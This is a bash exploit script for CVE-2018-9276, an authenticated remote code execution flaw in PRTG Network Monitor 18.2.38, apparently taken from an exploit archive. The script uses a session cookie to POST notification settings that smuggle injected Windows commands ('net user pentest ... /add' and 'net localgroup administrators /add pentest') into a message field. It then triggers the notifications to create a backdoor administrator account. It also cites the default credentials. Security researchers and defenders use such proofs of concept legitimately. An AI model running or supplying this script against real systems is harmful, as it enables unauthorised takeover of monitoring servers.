PRTG Network Monitor 18.2.38 - Authenticated Remote Code Execution
2019-03-11 16:05:11#!/bin/bash
echo -e "\n\e[00;33m[+]#########################################################################[+] \e[00m"
echo -e "\e[00;32m[*] Authenticated PRTG network Monitor remote code execution [*] \e[00m"
echo -e "\e[00;33m[+]#########################################################################[+] \e[00m"
echo -e "\e[00;32m[*] Date: 11/03/2019 [*] \e[00m"
echo -e "\e[00;33m[+]#########################################################################[+] \e[00m"
echo -e "\e[00;32m[*] Author: https://github.com/M4LV0 [email protected] [*] \e[00m"
echo -e "\e[00;33m[+]#########################################################################[+] \e[00m"
echo -e "\e[00;32m[*] Vendor Homepage: https://www.paessler.com/prtg [*] \e[00m"
echo -e "\e[00;32m[*] Version: 18.2.38 [*] \e[00m"
echo -e "\e[00;32m[*] CVE: CVE-2018-9276 [*] \e[00m"
echo -e "\e[00;32m[*] Reference: https://www.codewatch.org/blog/?p=453 [*] \e[00m"
echo -e "\e[00;33m[+]#########################################################################[+] \e[00m"
echo -e "\n\e[00;32m# login to the app, default creds are prtgadmin/prtgadmin. once athenticated grab your cookie and use it with the script.\n# run the script to create a new user 'pentest' in the administrators group with password 'P3nT3st!' \e[00m\n"
echo -e "\e[00;33m[+]#########################################################################[+] \e[00m"
usage()
{
echo -e '\e[00;35m EXAMPLE USAGE:\e[00m\e[00;32m ./prtg-exploit.sh -u http://10.10.10.10 -c "_ga=GA1.4.XXXXXXX.XXXXXXXX; _gid=GA1.4.XXXXXXXXXX.XXXXXXXXXXXX; OCTOPUS1813713946=XXXXXXXXXXXXXXXXXXXXXXXXXXXXX; _gat=1" \e[00m\n'
}
create_file()
{
data="name_=create_file&tags_=&active_=1&schedule_=-1|None|&postpone_=1&comments=&summode_=2&summarysubject_=[%sitename]+%summarycount+Summarized+Notifications&summinutes_=1&accessrights_=1&accessrights_=1&accessrights_201=0&active_1=0&addressuserid_1=-1&addressgroupid_1=-1&address_1=&subject_1=[%sitename]+%device+%name+%status+%down+(%message)&contenttype_1=text/html&customtext_1=&priority_1=0&active_17=0&addressuserid_17=-1&addressgroupid_17=-1&message_17=[%sitename]+%device+%name+%status+%down+(%message)&active_8=0&addressuserid_8=-1&addressgroupid_8=-1&address_8=&message_8=[%sitename]+%device+%name+%status+%down+(%message)&active_2=0&eventlogfile_2=application&sender_2=PRTG+Network+Monitor&eventtype_2=error&message_2=[%sitename]+%device+%name+%status+%down+(%message)&active_13=0&sysloghost_13=&syslogport_13=514&syslogfacility_13=1&syslogencoding_13=1&message_13=[%sitename]+%device+%name+%status+%down+(%message)&active_14=0&snmphost_14=&snmpport_14=162&snmpcommunity_14=&snmptrapspec_14=0&messageid_14=0&message_14=[%sitename]+%device+%name+%status+%down+(%message)&senderip_14=&active_9=0&url_9=&urlsniselect_9=0&urlsniname_9=&postdata_9=&active_10=0&active_10=10&address_10=Demo+EXE+Notification+-+OutFile.bat&message_10="C:\Users\Public\tester.txt"&windowslogindomain_10=&windowsloginusername_10=&windowsloginpassword_10=&timeout_10=60&active_15=0&accesskeyid_15=&secretaccesskeyid_15=&arn_15=&subject_15=&message_15=[%sitename]+%device+%name+%status+%down+(%message)&active_16=0&isusergroup_16=1&addressgroupid_16=200|PRTG+Administrators&ticketuserid_16=100|PRTG+System+Administrator&subject_16=%device+%name+%status+%down+(%message)&message_16=Sensor:+%name
Status:+%status+%down
Date/Time:+%datetime+(%timezone)
Last+Result:+%lastvalue
Last+Message:+%message
Probe:+%probe
Group:+%group
Device:+%device+(%host)
Last+Scan:+%lastcheck
Last+Up:+%lastup
Last+Down:+%lastdown
Uptime:+%uptime
Downtime:+%downtime
Cumulated+since:+%cumsince
Location:+%location
&autoclose_16=1&objecttype=notification&id=new&targeturl=/myaccount.htm?tabid=2"
fireone=$(curl -s -H "Referer: $url/editnotification.htm?id=new&tabid=1" "X-Requested-With: XMLHttpRequest" -X POST --data "$data" --cookie "$cookie" $url/editsettings)
# use bat file; save file to C:\Users\Public\tester.txt change accordingly
echo "$fireone"
echo -e "\e[00;32m [*] file created \e[00m"
}
ex_notify_1()
{
for i in range {0..50}; do
fireone=$(curl -s -H "Referer: $url/myaccount.htm?tabid=2" "X-Requested-With: XMLHttpRequest" -X POST --data "id=20$i" --cookie "$cookie" $url/api/notificationtest.htm)
# find the id value usually starts at 20.. but may need to change range accordingly
done
echo -e "\e[00;32m [*] sending notification wait....\e[00m"
}
create_user()
{
data2="name_=create_user&tags_=&active_=1&schedule_=-1|None|&postpone_=1&comments=&summode_=2&summarysubject_=[%sitename]+%summarycount+Summarized+Notifications&summinutes_=1&accessrights_=1&accessrights_=1&accessrights_201=0&active_1=0&addressuserid_1=-1&addressgroupid_1=-1&address_1=&subject_1=[%sitename]+%device+%name+%status+%down+(%message)&contenttype_1=text/html&customtext_1=&priority_1=0&active_17=0&addressuserid_17=-1&addressgroupid_17=-1&message_17=[%sitename]+%device+%name+%status+%down+(%message)&active_8=0&addressuserid_8=-1&addressgroupid_8=-1&address_8=&message_8=[%sitename]+%device+%name+%status+%down+(%message)&active_2=0&eventlogfile_2=application&sender_2=PRTG+Network+Monitor&eventtype_2=error&message_2=[%sitename]+%device+%name+%status+%down+(%message)&active_13=0&sysloghost_13=&syslogport_13=514&syslogfacility_13=1&syslogencoding_13=1&message_13=[%sitename]+%device+%name+%status+%down+(%message)&active_14=0&snmphost_14=&snmpport_14=162&snmpcommunity_14=&snmptrapspec_14=0&messageid_14=0&message_14=[%sitename]+%device+%name+%status+%down+(%message)&senderip_14=&active_9=0&url_9=&urlsniselect_9=0&urlsniname_9=&postdata_9=&active_10=0&active_10=10&address_10=Demo+EXE+Notification+-+OutFile.ps1&message_10="C:\Users\Public\tester.txt;net+user+pentest+P3nT3st!+/add"&windowslogindomain_10=&windowsloginusername_10=&windowsloginpassword_10=&timeout_10=60&active_15=0&accesskeyid_15=&secretaccesskeyid_15=&arn_15=&subject_15=&message_15=[%sitename]+%device+%name+%status+%down+(%message)&active_16=0&isusergroup_16=1&addressgroupid_16=200|PRTG+Administrators&ticketuserid_16=100|PRTG+System+Administrator&subject_16=%device+%name+%status+%down+(%message)&message_16=Sensor:+%name
Status:+%status+%down
Date/Time:+%datetime+(%timezone)
Last+Result:+%lastvalue
Last+Message:+%message
Probe:+%probe
Group:+%group
Device:+%device+(%host)
Last+Scan:+%lastcheck
Last+Up:+%lastup
Last+Down:+%lastdown
Uptime:+%uptime
Downtime:+%downtime
Cumulated+since:+%cumsince
Location:+%location
&autoclose_16=1&objecttype=notification&id=new&targeturl=/myaccount.htm?tabid=2"
firetwo=$(curl -s -H "Referer: $url/editnotification.htm?id=new&tabid=1" "X-Requested-With: XMLHttpRequest" -X POST --data "$data2" --cookie "$cookie" $url/editsettings)
# use ps1 script to execute code; adding a new user with username pentest and password P3nT3st!
echo "$firetwo"
echo -e "\e[00;32m [*] adding a new user 'pentest' with password 'P3nT3st' \e[00m"
}
ex_notify_2()
{
for i in range {0..50}; do
fire2=$(curl -s -H "Referer: $url/myaccount.htm?tabid=2" "X-Requested-With: XMLHttpRequest" -X POST --data "id=20$i" --cookie "$cookie" $url/api/notificationtest.htm)
# find the id value usually starts at 20.. but may need to change range accordingly
done
echo -e "\e[00;32m [*] sending notification wait....\e[00m"
}
add_user_admin()
{
data3="name_=user_admin&tags_=&active_=1&schedule_=-1|None|&postpone_=1&comments=&summode_=2&summarysubject_=[%sitename]+%summarycount+Summarized+Notifications&summinutes_=1&accessrights_=1&accessrights_=1&accessrights_201=0&active_1=0&addressuserid_1=-1&addressgroupid_1=-1&address_1=&subject_1=[%sitename]+%device+%name+%status+%down+(%message)&contenttype_1=text/html&customtext_1=&priority_1=0&active_17=0&addressuserid_17=-1&addressgroupid_17=-1&message_17=[%sitename]+%device+%name+%status+%down+(%message)&active_8=0&addressuserid_8=-1&addressgroupid_8=-1&address_8=&message_8=[%sitename]+%device+%name+%status+%down+(%message)&active_2=0&eventlogfile_2=application&sender_2=PRTG+Network+Monitor&eventtype_2=error&message_2=[%sitename]+%device+%name+%status+%down+(%message)&active_13=0&sysloghost_13=&syslogport_13=514&syslogfacility_13=1&syslogencoding_13=1&message_13=[%sitename]+%device+%name+%status+%down+(%message)&active_14=0&snmphost_14=&snmpport_14=162&snmpcommunity_14=&snmptrapspec_14=0&messageid_14=0&message_14=[%sitename]+%device+%name+%status+%down+(%message)&senderip_14=&active_9=0&url_9=&urlsniselect_9=0&urlsniname_9=&postdata_9=&active_10=0&active_10=10&address_10=Demo+EXE+Notification+-+OutFile.ps1&message_10="C:\Users\Public\tester.txt;net+localgroup+administrators+/add+pentest"&windowslogindomain_10=&windowsloginusername_10=&windowsloginpassword_10=&timeout_10=60&active_15=0&accesskeyid_15=&secretaccesskeyid_15=&arn_15=&subject_15=&message_15=[%sitename]+%device+%name+%status+%down+(%message)&active_16=0&isusergroup_16=1&addressgroupid_16=200|PRTG+Administrators&ticketuserid_16=100|PRTG+System+Administrator&subject_16=%device+%name+%status+%down+(%message)&message_16=Sensor:+%name
Status:+%status+%down
Date/Time:+%datetime+(%timezone)
Last+Result:+%lastvalue
Last+Message:+%message
Probe:+%probe
Group:+%group
Device:+%device+(%host)
Last+Scan:+%lastcheck
Last+Up:+%lastup
Last+Down:+%lastdown
Uptime:+%uptime
Downtime:+%downtime
Cumulated+since:+%cumsince
Location:+%location
&autoclose_16=1&objecttype=notification&id=new&targeturl=/myaccount.htm?tabid=2"
firethree=$(curl -s -H "Referer: $url/editnotification.htm?id=new&tabid=1" "X-Requested-With: XMLHttpRequest" -X POST --data "$data3" --cookie "$cookie" $url/editsettings)
echo "$firethree"
echo -e "\e[00;32m [*] adding a user pentest to the administrators group \e[00m"
}
ex_notify_3()
{
for i in range {0..50}; do
fire3=$(curl -s -H "Referer: $url/myaccount.htm?tabid=2" "X-Requested-With: XMLHttpRequest" -X POST --data "id=20$i" --cookie "$cookie" $url/api/notificationtest.htm)
# find the id value usually starts at 20.. but may need to change range accordingly
done
echo -e "\e[00;32m [*] sending notification wait....\e[00m"
echo -e "\n\n\e[00;32m [*] exploit completed new user 'pentest' with password 'P3nT3st!' created have fun! \e[00m"
}
if [[ $# -eq 0 ]] ; then
usage
exit 0
fi
while getopts "hu:c:" option; do
case "${option}" in
c) cookie=${OPTARG};;
h) usage;;
u) url=${OPTARG};;
*) usage; exit;;
esac
done
create_file
ex_notify_1
sleep 3
create_user
ex_notify_2
sleep 3
add_user_admin
ex_notify_3
Fixes
No fixesPer poter inviare un fix è necessario essere utenti registrati.